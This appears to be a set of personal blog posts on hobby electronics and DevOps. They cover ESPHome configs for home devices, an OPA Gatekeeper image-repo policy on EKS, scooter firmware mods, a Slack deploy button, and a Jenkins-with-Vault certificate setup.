firmware="something.bin"
port="/dev/cu.usbserial-00000000"
esptool.py --port ${port} --baud 115200 erase_flash
esptool.py --port ${port} --baud 115200 write_flash 0x0 ${firmware}

Garage Door Opener

This one took some learning to get right. Its a nodemcu ESP8266 hooked up to a 12v relay shimmed to the garage door trigger. Triggering GPIO16 triggers the relay. Attached to GPIO5 is a reed switch on the garage door track that is open or closed. The reed switch is a magnetic based switch. When a magnet is near it, it breaks the switch (open) meaning the garage door is closed. I wired it this way so that the only way the door can be considered “closed” is that the magnet has broken the sensor. No power, messed up sensor, manually opened (without using the garage door chain) etc would all be considered an open door. I chose this because I’d rather be safe than sorry and the door being closed is not an assumption but a fact.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

esphome:
  name: garage_switch
  platform: ESP8266
  board: esp01_1m
wifi:
  ssid: !secret wifi_name
  password: !secret wifi_pass
  domain: !secret wifi_domain
logger:
api:
  password: !secret api_password
ota:
  password: !secret ota_password
binary_sensor:
  - platform: status
    name: "garage"
  - platform: gpio
    pin:
      number: 16
      inverted: False
      mode: INPUT_PULLUP
    name: "door"
    device_class: door
    filters:
      - delayed_off: 10ms
      - delayed_on: 10ms
switch:
  - platform: gpio
    name: "garage"
    pin: 5

Sprinklers

This one is in progress. It works but I haven’t finished the housing (needs to be gasket based and ABS).

This is based on a wemos d1 mini and is essentially 2 12v solenoid valves on GPIO16 and GPIO14. the 12V is controlled based on circuitry through diodes and TIP120 fed from a 12V source (dropped to 5v via a LM7805 to the d1 mini).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

esphome:
  name: sprinklers
  platform: ESP8266
  board: esp01_1m
wifi:
  ssid: !secret wifi_name
  password: !secret wifi_pass
  domain: !secret wifi_domain
logger:
api:
  password: !secret api_password
ota:
  password: !secret ota_password
switch:
  - platform: gpio
    name: "sprinkler1"
    pin: 16
    inverted: no
  - platform: gpio
    name: "sprinkler2"
    pin: 14
    inverted: no

Camera

This one is still a bit in progress. My end goal is to take snapshots on an interval and push them to s3 so that I can play around with machine learning, but right now it lets me view it in hass (no recording as of now).

I chose the esp32-cam because it’s very cheap. That’s all, and it supports esphome. The housing I 3d printed from here

Note: This was a bit annoying to set up the first time. You can’t “just flash it”, you need to set up spiffs correctly. Which looked like this:

1
2
3
4
5

firmware="something.bin"
port="/dev/cu.usbserial-00000000"
# minimal spiffs:
esptool.py --port ${port} --baud 921600 --chip esp32 erase_flash
esptool.py --chip esp32 --port ${port} --baud 921600 --before default_reset --after hard_reset write_flash -z --flash_mode dio --flash_freq 80m --flash_size detect 0x1000 /Users/myoung/Library/Arduino15/packages/esp32/hardware/esp32/1.0.4/tools/sdk/bin/bootloader_qio_80m.bin 0x10000 ${firmware}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

esphome:
  name: frontdoor_cam
  platform: ESP32
  board: esp32dev
wifi:
  ssid: !secret wifi_name
  password: !secret wifi_pass
  domain: !secret wifi_domain
logger:
api:
  password: !secret api_password
ota:
  password: !secret ota_password
esp32_camera:
  name: frontdoor_cam
  external_clock:
    pin: GPIO0
    frequency: 20MHz
  i2c_pins:
    sda: GPIO26
    scl: GPIO27
  data_pins: [GPIO5, GPIO18, GPIO19, GPIO21, GPIO36, GPIO39, GPIO34, GPIO35]
  vsync_pin: GPIO25
  href_pin: GPIO23
  pixel_clock_pin: GPIO22
  power_down_pin: GPIO32
  resolution: 1600x1200
  max_framerate: 30 fps
  jpeg_quality: 25

LED Strips

In the kids room I have some star lights, and on our Pergola I have some waterproof LED lights all controlled with:

This magic home smart controller . I chose this because its ESP8266 based and flashable!

Wiring that up to the FTDI I flashed this yaml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

esphome:
  name: liam_room_starlights
  platform: ESP8266
  board: esp01_1m
wifi:
  ssid: !secret wifi_name
  password: !secret wifi_pass
  domain: !secret wifi_domain
logger:
api:
  password: !secret api_password
ota:
  password: !secret ota_password
light:
  - platform: rgbww
    name: "Liam Starlight"
    red: output_component1
    green: output_component2
    blue: output_component3
    cold_white: output_component4
    cold_white_color_temperature: 6536 K
    warm_white: output_component5
    warm_white_color_temperature: 2000 K

output:
  - platform: esp8266_pwm
    id: output_component1
    pin: 5

  - platform: esp8266_pwm
    id: output_component2
    pin: 12

  - platform: esp8266_pwm
    id: output_component3
    pin: 13

  - platform: esp8266_pwm
    id: output_component4
    pin: 15

  - platform: esp8266_pwm
    id: output_component5
    pin: 16

Light Bulbs

For the bulbs I chose globe brand because theyre also ESP8266 based.

For 2 of 3 of these I had success with tuya-convert which was pleasant. Basically I built my .bin from the yaml below, replaced tasmota.bin in that dir with it because I’m sneaky, ran tuya-convert, flipped the light off/on 3 times and it flashed.

For 2 of them (1 I broke), I had to get down and dirty. I basically tore it apart and followed this guide. Temporarily soldering and removing all the heat safe gunk is not fun. But 1 flashed. 1….caught fire….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

esphome:
  name: driveway_light
  platform: ESP8266
  board: esp01_1m
wifi:
  ssid: !secret wifi_name
  password: !secret wifi_pass
  domain: !secret wifi_domain
logger:
api:
  password: !secret api_password
ota:
  password: !secret ota_password
output:
  - platform: esp8266_pwm
    id: output_green
    pin: GPIO12
    max_power: 0.7
  - platform: esp8266_pwm
    id: output_red
    pin: GPIO4
    max_power: 0.7
  - platform: esp8266_pwm
    id: output_blue
    pin: GPIO14
    max_power: 0.7
  - platform: esp8266_pwm
    id: output_wwhite
    pin: GPIO13
    max_power: 0.65
  - platform: esp8266_pwm
    id: output_cwhite
    pin: GPIO5
    max_power: 0.65
light:
  - platform: rgbww
    name: "driveway_light"
    id: light_rgb
    red: output_red
    green: output_green
    blue: output_blue
    cold_white: output_cwhite
    warm_white: output_wwhite
    cold_white_color_temperature: 5000 K
    warm_white_color_temperature: 2000 K
    effects:
      - strobe:
      - flicker:
      - random:
    restore_mode: ALWAYS_ON

Smart Plugs

These come in handy for seasonal stuff like xmas lights, etc. But especially for my 3d printer as an emergency safe-measure (forget to turn off etc)

I chose the Sonoff S31.

Easy to take apart, a bit annoying to flash (involves temporarily soldering), but work amazingly.

The yaml makes sure that its on by default and that the power button is a hard toggle for the power for manual control. Blue light indicates wifi, red indicates on/off for the relay.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

esphome:
  name: plug1
  platform: ESP8266
  board: esp01_1m
wifi:
  ssid: !secret wifi_name
  password: !secret wifi_pass
  domain: !secret wifi_domain
logger:
api:
  password: !secret api_password
ota:
  password: !secret ota_password
binary_sensor:
  - platform: gpio
    pin:
      number: GPIO0
      mode: INPUT_PULLUP
      inverted: True
    name: "Button"
    on_press:
      - switch.toggle: fakebutton
  - platform: template
    name: "Running"
    filters:
      - delayed_off: 15s
    lambda: |-
      if (isnan(id(power).state)) {
        return {};
      } else if (id(power).state > 4) {
        // Running
        return true;
      } else {
        // Not running
        return false;
      }
switch:
  - platform: template
    name: "POW Relay"
    optimistic: true
    id: fakebutton
    turn_on_action:
    - switch.turn_on: relay
    - light.turn_on: led
    turn_off_action:
    - switch.turn_off: relay
    - light.turn_off: led
  - platform: gpio
    id: relay
    pin: GPIO12
    restore_mode: ALWAYS_ON
output:
  - platform: esp8266_pwm
    id: pow_blue_led
    pin:
      number: GPIO13
      inverted: True

light:
  - platform: monochromatic
    name: "Blue LED"
    output: pow_blue_led
    id: led
    restore_mode: ALWAYS_ON

sensor:
  - platform: wifi_signal
    name: "WiFi Signal"
    update_interval: 60s
  - platform: uptime
    name: "Uptime"
  - platform: cse7766
    update_interval: 2s
    current:
      name: "Current"
    voltage:
      name: "Voltage"
    power:
      name: "POW Power"
      id: power
      on_value_range:
        - above: 4.0
          then:
            - light.turn_on: led
        - below: 3.0
          then:
            - light.turn_off: led
text_sensor:
  - platform: version
    name: "ESPHome Version"

Smart Switch

I kept blowing my outdoor smart bulb, I’m guessing the voltage or current is too volatile?

I chose the TreatLife single pole.

This yaml lets the LED indicator (GPIO4) toggle with the virtual button (GPIO13) and the physical button (GPIO12)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

esphome:
  name: front_porch_switch
  platform: ESP8266
  board: esp01_1m

wifi:
  ssid: !secret wifi_ssid
  password: !secret wifi_password
  domain: !secret wifi_domain

logger:
  level: VERBOSE
  baud_rate: 0

api:
  password: !secret api_password

ota:
  password: !secret ota_password

switch:
  - platform: gpio
    id: "relay"
    name: "light"
    pin: 12

output:
  - platform: esp8266_pwm
    id: status_led
    pin:
      number: GPIO4
      inverted: True

binary_sensor:
  - platform: gpio
    name: "button"
    pin:
      number: 13
      inverted: True
    on_press:
      - switch.toggle: relay

Slides here

https://youtu.be/xg2O2oanXgk

I was at kubecon the in mid-November with an old roommate (in the same industry as me) and some coworkers but got to see some cool kubernetes stuff.

Since my job crosses the Security boundary, and I’m fairly new to k8s, most of my talks were somewhere on the basic level or opa level. With OPA what you get is a lightweight language to write policies your kubernetes cluster should adhere to.

Typically (I think) this is traditionally run by building your policies into a sidecar and forcing it to be an admission controller.

Gatekeeper simplifies this by removing the side-car for native CRD’s and adds a few things like audit logs.

I’m going to build up an example of this using EKS.

I assume we have a working EKS cluster:

1
2
3

$ aws-vault exec home -- kubectl get all
NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   172.20.0.1   <none>        443/TCP   6h15m

Before we deploy anything, let’s set up GateKeeper v3:

1

$ aws-vault exec home -- kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml

Gatekeeper should now be running (albeit with no policies):

1
2
3
4
5
6
7
8
9

$ aws-vault exec home -- kubectl get all -n gatekeeper-system
NAME                                  READY   STATUS    RESTARTS   AGE
pod/gatekeeper-controller-manager-0   1/1     Running   1          144m

NAME                                            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)   AGE
service/gatekeeper-controller-manager-service   ClusterIP   172.20.41.90   <none>        443/TCP   144m

NAME                                             READY   AGE
statefulset.apps/gatekeeper-controller-manager   1/1     144m

Next, before we move on, I’m going to set up policykit so that we can use real REGO (the language for OPA) instead of rego embedded inside yaml (allows policy testing etc later on):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

$ pip install policykit
$ cat <<EOF >k8sallowedrepos.rego
package k8sallowedrepos

violation[{"msg": msg}] {
  container := input.review.object.spec.containers[_]
  satisfied := [good | repo = input.parameters.repos[_] ; good = startswith(container.image, repo)]
  not any(satisfied)
  msg := sprintf("container <%v> has an invalid image repo <%v>, allowed repos are %v", [container.name, container.image, input.parameters.repos])
}

violation[{"msg": msg}] {
  container := input.review.object.spec.initContainers[_]
  satisfied := [good | repo = input.parameters.repos[_] ; good = startswith(container.image, repo)]
  not any(satisfied)
  msg := sprintf("container <%v> has an invalid image repo <%v>, allowed repos are %v", [container.name, container.image, input.parameters.repos])
}
EOF

What we have now is a rego file that will validate base images (parameterized). Let’s write some tests.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

$ cat <<EOF >k8sallowedrepos_test.rego
package k8sallowedrepos

test_image_safety_positive {
    count(violation) == 1 with input.parameters.repos as ["hooli.com/"]
        with input.review.object.spec.containers as [
            {"name": "ok", "image": "hooli.com/web"},
            {"name": "bad", "image": "badrepo.com/web"},
        ]
}

test_image_safety_negative {
    count(violation) == 0 with input.parameters.repos as ["hooli.com/"]
        with input.review.object.spec.containers as [
            {"name": "ok", "image": "hooli.com/web"},
        ]
}

test_image_safety_init_container_positive {
    count(violation) == 1 with input.parameters.repos as ["hooli.com/"]
        with input.review.object.spec.initContainers as [
            {"name": "ok", "image": "hooli.com/web"},
            {"name": "bad", "image": "badrepo.com/web"},
        ]
}

test_image_safety_init_container_negative {
    count(violation) == 0 with input.parameters.repos as ["hooli.com/"]
        with input.review.object.spec.initContainers as [
            {"name": "ok", "image": "hooli.com/web"},
        ]
}
EOF

$ curl -Ls https://github.com/open-policy-agent/opa/releases/download/v0.15.1/opa_linux_amd64 -o opa && chmod +x opa
$ opa test . -v
data.k8sallowedrepos.test_image_safety_positive: PASS (622.8µs)
data.k8sallowedrepos.test_image_safety_negative: PASS (376µs)
data.k8sallowedrepos.test_image_safety_init_container_positive: PASS (550.6µs)
data.k8sallowedrepos.test_image_safety_init_container_negative: PASS (389.3µs)
--------------------------------------------------------------------------------
PASS: 4/4

Now let’s generate our ConstraintTemplate (the basic template that accepts parameters):

1
2
3

$ pk build *.rego
[k8sallowedrepos] Generating a ConstraintTemplate from "k8sallowedrepos.rego"
[k8sallowedrepos] Saving to "k8sallowedrepos.yaml"

Let’s see what that ConstraintTemplate looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

$ cat k8sallowedrepos.yaml
apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: k8sallowedrepos
spec:
  crd:
    spec:
      names:
        kind: k8sallowedrepos
        listKind: k8sallowedreposList
        plural: k8sallowedrepos
        singular: k8sallowedrepo
  targets:
  - rego: |
      package k8sallowedrepos

      violation[{"msg": msg}] {
        container := input.review.object.spec.containers[_]
        satisfied := [good | repo = input.parameters.repos[_] ; good = startswith(container.image, repo)]
        not any(satisfied)
        msg := sprintf("container <%v> has an invalid image repo <%v>, allowed repos are %v", [container.name, container.image, input.parameters.repos])
      }

      violation[{"msg": msg}] {
        container := input.review.object.spec.initContainers[_]
        satisfied := [good | repo = input.parameters.repos[_] ; good = startswith(container.image, repo)]
        not any(satisfied)
        msg := sprintf("container <%v> has an invalid image repo <%v>, allowed repos are %v", [container.name, container.image, input.parameters.repos])
      }
    target: admission.k8s.gatekeeper.sh

As you can see that rego is now embedded inside a ConstraintTemplate yaml. Let’s apply it:

1
2

$ aws-vault exec home -- kubectl apply -f k8sallowedrepos.yaml
constrainttemplate.templates.gatekeeper.sh/k8sallowedrepos configured

We have a template but no OPA rules yet.

1
2
3
4

$ aws-vault exec home -- kubectl logs pod/gatekeeper-controller-manager-0 -n gatekeeper-system
{"level":"info","ts":1575315679.2535567,"logger":"controller","msg":"Audit opa.Audit() audit results","metaKind":"audit","violations":0}
{"level":"info","ts":1575315679.255231,"logger":"controller","msg":"constraint","metaKind":"audit","resource kind":"k8sallowedrepos"}
{"level":"info","ts":1575315679.259529,"logger":"controller","msg":"constraint","metaKind":"audit","count of constraints":0}

Let’s add a rule to deny anything that’s not from alpine (ironically the opposite of secure):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

$ cat <<EOF >check_repo.yaml
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: k8sallowedrepos
metadata:
  name: default-repo-is-wrong
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Pod"]
    namespaces:
      - "default"
  parameters:
    repos:
      - "alpine"
EOF
$ aws-vault exec home -- kubectl apply -f check_repo.yaml
k8sallowedrepos.constraints.gatekeeper.sh/default-repo-is-wrong created

We can now see Gatekeeper has it:

1
2
3

...snip noise...
{"level":"info","ts":1575315769.4250739,"logger":"controller","msg":"constraint","metaKind":"audit","count of constraints":1}
...snip noise...

Let’s push up a Helm chart that violates it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

$ cat charts/cloud-custodian/values.yaml  | grep repos
  repository: 11111111111.dkr.ecr.us-east-1.amazonaws.com/cloud-custodian
$ helm package charts/cloud-custodian/
Successfully packaged chart and saved it to: charts/cloud-custodian-0.1.2.tgz
$ aws-vault exec home -- helm install --name cloud-custodian charts/cloud-custodian-0.1.2.tgz
NAME:   cloud-custodian
LAST DEPLOYED: Mon Dec  2 13:44:47 2019
NAMESPACE: default
STATUS: DEPLOYED

RESOURCES:
==> v1/Deployment
NAME             READY  UP-TO-DATE  AVAILABLE  AGE
cloud-custodian  0/1    0           0          0s

==> v1/ServiceAccount
NAME             SECRETS  AGE
cloud-custodian  1        0s

Did it work?

1
2
3
4
5
6
7
8
9

$ aws-vault exec home -- kubectl get all
NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   172.20.0.1   <none>        443/TCP   6h25m

NAME                              READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/cloud-custodian   0/1     0            0           18s

NAME                                         DESIRED   CURRENT   READY   AGE
replicaset.apps/cloud-custodian-744bd4768d   1         0         0       18s

It’s not running. let’s look:

1
2
3
4
5

$ aws-vault exec home -- kubectl describe replicaset.apps/cloud-custodian-744bd4768d | tail -n 4
Events:
  Type     Reason        Age                From                   Message
  ----     ------        ----               ----                   -------
  Warning  FailedCreate  3s (x14 over 44s)  replicaset-controller  Error creating: admission webhook "validation.gatekeeper.sh" denied the request: [denied by default-repo-is-wrong] container <cloud-custodian> has an invalid image repo <11111111111.dkr.ecr.us-east-1.amazonaws.com/cloud-custodian:latest>, allowed repos are ["alpine"]

And just like that we enforced a policy that prevented this from running!

More to come from OPA as I get more comfortable with it and learn how to test the policies before they go into K8S!

The Backstory

I recenly got into doing random stuff with arcades. In October 2018 I got ahold of a completely ripped apart San Fransisco Rush cabinet. I redid some of the wood, built a computer into it, reversed all the controls into a teensy and made it play Rocket League. My tattoo shop is currently painting it (build log to come when I have it back).

In trade, I’m fixing their arcade machine.

So now apparently I like real arcade machines and not my now-broken table top.

I also brew beer. Why not combine the two?!

So I introduce to you:

The Hardware

• The Marquee is a custom “vintage style neon light” from a company on alibaba.
• The Computer is a lattepanda alpha
• The LED Buttons are spectra eclipse
• The LED controller is an Ultimarc pacled64
• The Cabinet was custom cut on a CNC
• The “split” frame is based on this style of aluminum tongue/receiver from TCH hardware
• The “latches” and the handles for the split top are from TCH Hardware

The Software

The lattepanda runs Ubuntu with MAME. I originally chose windows, but LEDBlinky is awful. Just awful. So instead I’ve been working with LEDSpicer by Patricio Rossi. The software worked nearly out of the box and he’s been super helpful for getting me up and running.

Build Pics

I recently came across some neglected and forgotten “Aviary” scooters and wanted to see what could be done.

Segway ES2/4

This was the easiest hack I’ve ever done. Remove the top panel with security bits, and replace the board with one from ebay similar to this

Plug it in and go. Done. Cost: ~$40

Xiaomi Mijia M365

This one was much more fun.

Firmware

This one was easy. Apparently the Xiaomi Mijia m365 is very commonly hacked already. They’re extremely popular overseas, and people have already dedicated their time to reverse engineering the firmware. So much so that you can just use a webpage to change the settings and download a binary file to upload.

Just download your bin file there, upload with the android app connect to your scooter and go.

Display

This one was also slightly trivial.

First thing I did was 3D printed one of these bad boys.

Then I ordered a 0.96” screen (4 pin i2C not 7 pin SPI)

Next you’ll need an arduino micro pro and an FTD1232 flasher as well as a diode.

Using this code flash the arduino, wire it according to his guides below.

Note: I modified the locale files with some maths along with other tweaks I’m not publishing to do miles instead of kilometers, change the intro logo and colors.

Cover it using any m365 button cover via ebay.

Done.

Video here

I, uh. Yeah.

I assume you read my previous post about my physical deploy button. Well: I one-upped it.

Let me explain. Nah let’s cut to it. I wanted to play with AWS IoT and I did so shamelessly with much architecture.

The architecture

I had a spare Raspberry Pi Zero W with a camera. So I did what any reasonable person would do. Used it with no end-goal.

I hooked it up to AWS IoT and made it listen to the shadow delta MQTT queue

Basically whenever it saw a change to the shadow it would:

1. Spin a stepper motor that landed a hulk hand on my deploy production button.
2. Thanks to py3 threads it would also start the rasp pi camera to watch the hulk smash and send it to giphy.
3. After the gif is done uploading it would send a gif of the hulk smash back to the user in slack.

The finale

Without further ado I give you: Hulk Smash Production.

The initial gif

And the final gif (yes the hulk hand is duct taped to a bamboo skewer to a stepper motor):

Over the last few weeks I’ve been looking for a project.

I currently work for a python shop and have really taken a liking to it. Simultaneously, I keep seeing new hardware supporting micropython. I’m not against the C’ish language that the arduino type stuff pushes for, but it’s nice to get the best of both worlds: an abstracted language with nice syntax and the ability to do dumb stuff with voltage. So: I did just that.

The Controller

I’ve really wanted to play with the ESP8266 after seeing some cool projects cross over my feeds. I decided also to kill two birds with one stone and try the Huzzah board from adafruit that includes onboard wifi because I hate money. The board itself was fantastic out of the box.

The Learning Curve

Without doing any whatsoever much research my brain really thought that micropython was going to be a “drop in replacement” for the UX of programming a board in the arduino IDE. It’s not. This is actually my biggest complaint about micropython. The code itself was very very very straightforward. Write a main.py that does your stuff, and profit. You can load libraries that support micropython, etc.

Getting there? Meh.

First: you have to flash your esp with the micropython firmware.

Next: you have to get your code onto the board. The feedback loop for this is the annoying part. The first time you flash the firmware you have to enable WebREPL. It’s a one-time cost but it’s smelly. This enables a wifi broadcast from the board that you can then access from webrepl with a password.

If you make it past the previous step you can make main.py join your wireless network (note: 5ghz is not supported) with something like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import network

sta_if = network.WLAN(network.STA_IF)

def do_connect():
    if not sta_if.isconnected():
        print('connecting to network...')
        sta_if.active(True)
        sta_if.connect('The LAN Before Time', 'hunter2')
        while not sta_if.isconnected():
            print('waiting to connect...')
            sleep(5)
            pass

print('connecting...')
do_connect()
print('network config:', sta_if.ifconfig())

Now that it’s on the network you can use webrepl to the local address of the huzzah. But it still sucks compared to the typical UX of: select board, click compile.

What You Came To See

If you’re still reading I’m sure you want to see what I did. Basically I took 4 mechanical keyboard switches (I have a lot OK?!), wired them to the huzzah, and made it send a slack command to our internal slack bot to force deploy production (ignore all locks, send a message to yours truly).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

while True:
    buttons = [
        machine.Pin(4,  machine.Pin.IN, machine.Pin.PULL_UP),
        machine.Pin(5,  machine.Pin.IN, machine.Pin.PULL_UP),
        machine.Pin(2,  machine.Pin.IN, machine.Pin.PULL_UP),
        machine.Pin(15, machine.Pin.IN, machine.Pin.PULL_UP),
    ]

    _sum = 0
    for button in buttons:
        _sum += button.value()
    if (_sum == 0):
        print('generating request')
        print(urequests.post(webhook_url, json={'text': ":alert: DEPLOY BUTTON PRESSED. KLAXON: ACTIVATED :alert:"}, headers={'Content-Type': 'application/json'}).status_code)
        print(urequests.post(webhook_url, json={'text': "!deploy prod master -f"}, headers={'Content-Type': 'application/json'}).status_code)

It works and it’s pretty empowering to smash. We deployed to production a record number of times that day.

Background: a rant

Let me start off by saying: I’ve done a lot of Jenkins.

• Exhibit A (super old jenkins with fake pipelines):

I’ve done new Jenkins (I love 2.0 and love Jenkinsfile’s).

I’ve worked with large jenkins installs. I’ve worked with small jenkins at multiple shops.

I’ve automated backups with S3 tarballs:

1
2
3
4
5
6
7
8
9
10

backup_dir=/var/lib/jenkins/backup
if [[ -d $backup_dir ]]; then
  rm -rf $backup_dir/*.tar.gz
else
  mkdir -p $backup_dir
fi
archive_name=jenkins-backup-$(date +%Y-%m-%d-%H_%M_%S).tar.gz
filename=$backup_dir/$archive_name
tar --exclude=backup --exclude=backups -czf $filename --warning=no-file-changed /var/lib/jenkins
aws s3 cp $filename s3://$backup_bucket/backups/$backup_name

I’ve automated backups with thin backup.

I’ve automated creating jobs with job-dsl

I’ve automated creating jobs with straight XML.

I’ve automated creating jobs with jenkins job builder.

They all suck. I’m sorry. But they’re complex and require a lot of orchestration and customization to work.

Im gonna do worse

My problem with all these previous methods is they require a hybrid suck. You have to automate the jobs and mix that with retaining your backups.

I’m tired of things using the filesystem as a database.

These things are complex because the data lives in the same place as the jobs. When you build up your jobs they contain metadata about build history. So you end up with these nasty complicated methods of pulling down and merging the filesystem.

My hypothesis: #(@$ that. Lets use a real database and artifact store for the data and just not care. Crazy Right?!

I’ve got some demo code to prove to you how easy it is. It’s 100% groovy. No job dsl, no nothing. Just groovy and java methods. The one I posted shows how I automated groovy to set up:

1. Active directory
2. AWS ECS agents
3. Github organizations (includes webhooks!)
4. Slack
5. Libraries like better slack messages and jobs defined in a java properties file
6. Logstash for the real meat of this post

The real reason youre here

My jenkins master is docker. Its volatile. And its stateless.

So how do I do it? In production my docker hosts listen to UDP port 555 with Logstash for syslog and forward them to ELK (because SSL, and other reasons). In my example the logstash plugin just sends directly to elasticsearch. All the env vars are pulled from vault at run time and I get to manage the data like my other data from ELK.

My artifacts go to someting like artifactory.

And guess what? It’s fantastic. Automation is dead simple. And I put the data in a real database. which lets me do things like see build times across projects, see deployments, etc.

Dockerfile

An example of how I typically get Vault into my base Container:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

FROM debian:jessie
ENV VAULT_VERSION 0.8.1
ENV DUMBINIT_VERSION 1.2.0

RUN apt-get update && apt-get install -y \
      apt-transport-https \
      ca-certificates \
      wget \
      unzip \
      jq \
      curl \
    nginx \
  --no-install-recommends && rm -rf /var/lib/apt/lists/*

RUN curl -L --silent -o vault.zip https://releases.hashicorp.com/vault/${VAULT_VERSION}/vault_${VAULT_VERSION}_linux_amd64.zip && \
  unzip vault.zip && \
  mv vault /usr/local/bin/vault && \
  chmod +x /usr/local/bin/vault

RUN curl -L --silent -o /usr/local/bin/dumb-init https://github.com/Yelp/dumb-init/releases/download/v${DUMBINIT_VERSION}/dumb-init_${DUMBINIT_VERSION}_amd64 && \
  chmod +x /usr/local/bin/dumb-init

RUN mkdir -p /opt/ssl
COPY docker-entrypoint.sh /
RUN chmod +x /docker-entrypoint.sh
ENTRYPOINT ["/usr/local/bin/dumb-init", "--"]
CMD ["/docker-entrypoint.sh"]

The Entrypoint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#!/bin/bash

export SSL_PATH=/opt/ssl

EC2_AVAIL_ZONE=$(curl -s --max-time 5 https://169.254.169.254/latest/meta-data/placement/availability-zone)
if [[ $? -eq 0 ]]; then
  # shellcheck disable=SC2001,SC2006
  EC2_REGION="`echo \"$EC2_AVAIL_ZONE\" | sed -e 's:\([0-9][0-9]*\)[a-z]*\$:\\1:'`"
  export AWS_DEFAULT_REGION=$EC2_REGION
  export AWS_REGION=$EC2_REGION
fi

[[ -z "${VAULT_TOKEN}" ]] && vault auth -method=aws >/dev/null

VAULT_JSON="$(vault write -format=json cuddletech_ops/issue/jenkins common_name=jenkins ttl=15551999)"

echo "$VAULT_JSON" | jq -r .data.private_key > ${SSL_PATH}/key.pem
echo "$VAULT_JSON" | jq -r .data.certificate > ${SSL_PATH}/cert.pem
echo "$VAULT_JSON" | jq -r .data.issuing_ca  > ${SSL_PATH}/ca.pem
cat ${SSL_PATH}/cert.pem ${SSL_PATH}/ca.pem  > ${SSL_PATH}/bundle.pem

# run your command and point to the certs generated above. Example in nginx:
#        ssl                  on;
#        ssl_certificate      /opt/ssl/bundle.pem;
#        ssl_certificate_key  /opt/ssl/key.pem;

Terraforming the certificate issuer

If you somehow get the previous part to run, it will fail because you have to create the role in Vault before you can just start generating certs off it. In the cuddletech guide this is under Requesting a Certificate for a Web Server as:

1
2
3
4
5

$ vault write cuddletech_ops/roles/web_server \
> key_bits=2048 \
> max_ttl=8760h \
> allow_any_name=true
Success! Data written to: cuddletech_ops/roles/web_server

But what if I told you, you could do that in terraform?

1
2
3
4
5
6
7
8
9
10
11
12
13
14

variable "role" {
}

resource "vault_generic_secret" "pki_role" {
  path = "cuddletech_ops/roles/${var.role}"

  data_json = <<EOT
{
  "key_bits": "2048",
  "max_ttl": "8760h",
  "allow_any_name": "true"
}
EOT
}

If you add that with your ECS task along with the vault role and policy from the previous post about Vault Anything in Terraform, all your dependencies are met and kept in code!

You can now generate certificates off your PKI backend and grab secrets all in one go!